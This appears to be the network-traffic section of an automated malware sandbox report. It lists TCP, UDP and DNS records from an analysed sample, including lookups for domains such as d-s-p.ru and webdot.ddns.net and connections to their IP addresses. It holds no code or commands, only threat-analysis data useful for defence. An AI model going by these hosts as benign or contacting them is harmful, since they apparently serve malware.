Dec 30, 2024 19:46:01.230216026 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.230233908 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.230267048 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.230272055 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.230290890 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.230312109 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.230473042 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.230485916 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.230540991 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.230547905 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.230679035 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.230817080 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.230830908 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.230868101 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.230873108 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.230884075 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.230906963 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.231003046 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.231018066 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.231066942 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.231076002 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.231338024 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.231357098 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.231388092 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.231395006 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.231408119 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.231436014 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.233210087 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.315895081 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.315912008 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.315979004 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.315985918 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.316015959 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.316024065 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.316063881 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.316078901 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.316116095 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.316123009 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.316140890 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.316158056 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.316358089 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.316371918 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.316421032 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.316426039 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.316453934 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.316468954 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.316544056 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.316560030 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.316596031 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.316600084 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.316625118 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.316641092 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.316848040 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.316863060 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.316905022 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.316909075 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.316929102 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.316942930 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.317030907 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.317044020 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.317076921 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.317085028 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.317106009 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.317117929 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.317281008 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.317295074 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.317332029 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.317338943 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.317352057 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.317374945 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.317614079 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.317627907 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.317663908 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.317667961 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.317689896 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.317702055 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.319196939 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.402071953 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.402091026 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.402148008 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.402179956 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.402193069 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.402220964 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.402439117 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.402455091 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.402493954 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.402499914 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.402528048 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.402543068 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.402750969 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.402765989 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.402802944 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.402810097 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.402829885 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.402841091 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.402904987 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.402925968 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.403003931 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.403008938 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.403069973 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.403085947 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.403117895 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.403124094 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.403148890 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.403170109 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.403486013 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.403506041 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.403551102 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.403558016 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.403567076 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.403583050 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.403587103 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.403601885 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.403608084 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.403624058 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.403640032 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.403863907 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.403878927 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.403928041 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.403934002 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.403947115 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.404668093 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.404689074 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.488388062 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.488406897 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.488477945 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.488491058 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.488753080 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.488773108 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.488806009 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.488812923 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.488830090 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.488859892 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.489018917 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.489034891 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.489068985 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.489074945 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.489088058 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.489110947 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.489320993 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.489336014 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.489375114 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.489379883 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.489408970 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.489418983 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.489490032 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.489511013 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.489548922 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.489554882 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.489576101 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.489583015 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.489820957 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.489835024 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.489878893 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.489883900 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.489902973 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.489917994 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.490003109 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.490016937 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.490065098 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.490070105 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.490243912 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.490262985 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.490292072 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.490297079 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.490310907 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.490338087 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.492677927 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.574635029 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.574652910 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.574738026 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.574753046 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.574775934 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.574796915 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.575001001 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.575016022 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.575062990 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.575067997 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.575088978 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.575104952 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.575212002 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.575226068 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.575265884 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.575270891 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.575294971 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.575503111 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.575521946 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.575537920 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.575542927 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.575557947 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.575577974 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.575607061 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.575748920 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.575777054 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.575822115 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.575826883 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.575864077 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.576076984 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.576095104 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.576133966 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.576141119 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.576160908 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.576176882 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.576395035 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.576409101 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.576461077 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.576468945 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.576510906 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.576541901 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.576555014 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.576591015 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.576596022 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.576621056 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.576628923 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.578569889 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.675496101 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.675512075 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.675571918 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.675580978 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.675610065 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.675628901 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.675724030 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.675738096 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.675785065 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.675790071 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.675811052 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.675822973 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.675827980 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.675837040 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.675848961 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.675882101 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.675889015 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.675904036 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.675935984 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.675940037 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.675956964 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.675970078 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.676080942 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.676095009 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.676137924 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.676142931 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.676163912 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.676177979 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.676223040 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.676235914 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.676276922 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.676284075 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.676297903 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.676311016 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.676420927 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.676435947 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.676475048 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.676481009 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.676501036 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.676517010 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.676752090 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.676789999 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.676805973 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.676814079 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.676835060 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.676836967 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.676852942 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.676879883 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.679217100 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.723332882 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.723332882 CET	50076	443	192.168.2.4	45.118.248.184
Dec 30, 2024 19:46:01.723349094 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.723357916 CET	443	50076	45.118.248.184	192.168.2.4
Dec 30, 2024 19:46:01.928291082 CET	50079	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:46:01.933113098 CET	80	50079	58.151.148.90	192.168.2.4
Dec 30, 2024 19:46:01.933175087 CET	50079	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:46:01.933288097 CET	50079	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:46:01.933303118 CET	50079	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:46:01.938114882 CET	80	50079	58.151.148.90	192.168.2.4
Dec 30, 2024 19:46:01.938123941 CET	80	50079	58.151.148.90	192.168.2.4
Dec 30, 2024 19:46:03.408464909 CET	80	50079	58.151.148.90	192.168.2.4
Dec 30, 2024 19:46:03.408493042 CET	80	50079	58.151.148.90	192.168.2.4
Dec 30, 2024 19:46:03.408509016 CET	80	50079	58.151.148.90	192.168.2.4
Dec 30, 2024 19:46:03.408545017 CET	50079	80	192.168.2.4	58.151.148.90
Dec 30, 2024 19:46:03.408576012 CET	50079	80	192.168.2.4	58.151.148.90

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 30, 2024 19:42:19.672106981 CET	52289	53	192.168.2.4	1.1.1.1
Dec 30, 2024 19:42:20.661730051 CET	52289	53	192.168.2.4	1.1.1.1
Dec 30, 2024 19:42:21.690002918 CET	52289	53	192.168.2.4	1.1.1.1
Dec 30, 2024 19:42:22.089108944 CET	53	52289	1.1.1.1	192.168.2.4
Dec 30, 2024 19:42:22.089123011 CET	53	52289	1.1.1.1	192.168.2.4
Dec 30, 2024 19:42:22.089132071 CET	53	52289	1.1.1.1	192.168.2.4
Dec 30, 2024 19:42:55.179428101 CET	59578	53	192.168.2.4	1.1.1.1
Dec 30, 2024 19:42:55.213866949 CET	53	59578	1.1.1.1	192.168.2.4
Dec 30, 2024 19:44:51.218338966 CET	63109	53	192.168.2.4	1.1.1.1
Dec 30, 2024 19:44:52.397526979 CET	63109	53	192.168.2.4	1.1.1.1
Dec 30, 2024 19:44:53.401673079 CET	63109	53	192.168.2.4	1.1.1.1
Dec 30, 2024 19:44:53.701268911 CET	53	63109	1.1.1.1	192.168.2.4
Dec 30, 2024 19:44:53.701332092 CET	53	63109	1.1.1.1	192.168.2.4
Dec 30, 2024 19:44:53.701359987 CET	53	63109	1.1.1.1	192.168.2.4
Dec 30, 2024 19:45:09.293055058 CET	51760	53	192.168.2.4	1.1.1.1
Dec 30, 2024 19:45:09.342211008 CET	53	51760	1.1.1.1	192.168.2.4
Dec 30, 2024 19:45:37.146291971 CET	56848	53	192.168.2.4	1.1.1.1
Dec 30, 2024 19:45:37.369328976 CET	53	56848	1.1.1.1	192.168.2.4
Dec 30, 2024 19:45:40.364876986 CET	59482	53	192.168.2.4	1.1.1.1
Dec 30, 2024 19:45:40.928714991 CET	53	59482	1.1.1.1	192.168.2.4
Dec 30, 2024 19:45:51.298674107 CET	62907	53	192.168.2.4	1.1.1.1
Dec 30, 2024 19:45:51.307658911 CET	53	62907	1.1.1.1	192.168.2.4
Dec 30, 2024 19:45:54.638041973 CET	49947	53	192.168.2.4	1.1.1.1
Dec 30, 2024 19:45:54.779248953 CET	53	49947	1.1.1.1	192.168.2.4
Dec 30, 2024 19:46:06.095504999 CET	50467	53	192.168.2.4	1.1.1.1
Dec 30, 2024 19:46:06.104362011 CET	53	50467	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 30, 2024 19:42:19.672106981 CET	192.168.2.4	1.1.1.1	0xddfa	Standard query (0)	d-s-p.ru	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:20.661730051 CET	192.168.2.4	1.1.1.1	0xddfa	Standard query (0)	d-s-p.ru	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:21.690002918 CET	192.168.2.4	1.1.1.1	0xddfa	Standard query (0)	d-s-p.ru	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:55.179428101 CET	192.168.2.4	1.1.1.1	0xc022	Standard query (0)	midginvineco.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:51.218338966 CET	192.168.2.4	1.1.1.1	0x361c	Standard query (0)	d-s-p.ru	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:52.397526979 CET	192.168.2.4	1.1.1.1	0x361c	Standard query (0)	d-s-p.ru	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:44:53.401673079 CET	192.168.2.4	1.1.1.1	0x361c	Standard query (0)	d-s-p.ru	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:45:09.293055058 CET	192.168.2.4	1.1.1.1	0xe04d	Standard query (0)	www.tazc.com.my	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:45:37.146291971 CET	192.168.2.4	1.1.1.1	0xe8f0	Standard query (0)	upadaria.org	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:45:40.364876986 CET	192.168.2.4	1.1.1.1	0x3c69	Standard query (0)	lotuseffectllc.com	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:45:51.298674107 CET	192.168.2.4	1.1.1.1	0x4e64	Standard query (0)	webdot.ddns.net	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:45:54.638041973 CET	192.168.2.4	1.1.1.1	0xeb88	Standard query (0)	firemane.org	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:46:06.095504999 CET	192.168.2.4	1.1.1.1	0x1ab2	Standard query (0)	kdtIFBJmLPfUAdsjOyiinDxA.kdtIFBJmLPfUAdsjOyiinDxA	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 30, 2024 19:42:22.089108944 CET	1.1.1.1	192.168.2.4	0xddfa	No error (0)	d-s-p.ru		58.151.148.90	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:22.089108944 CET	1.1.1.1	192.168.2.4	0xddfa	No error (0)	d-s-p.ru		123.212.43.225	A (IP address)	IN (0x0001)	false
Dec 30, 2024 19:42:22.089108944 CET	1.1.1.1	192.168.2.4	0xddfa	No error (0)	d-s-p.ru		102.189.2.79	A (IP address)	IN (0x0001)	false
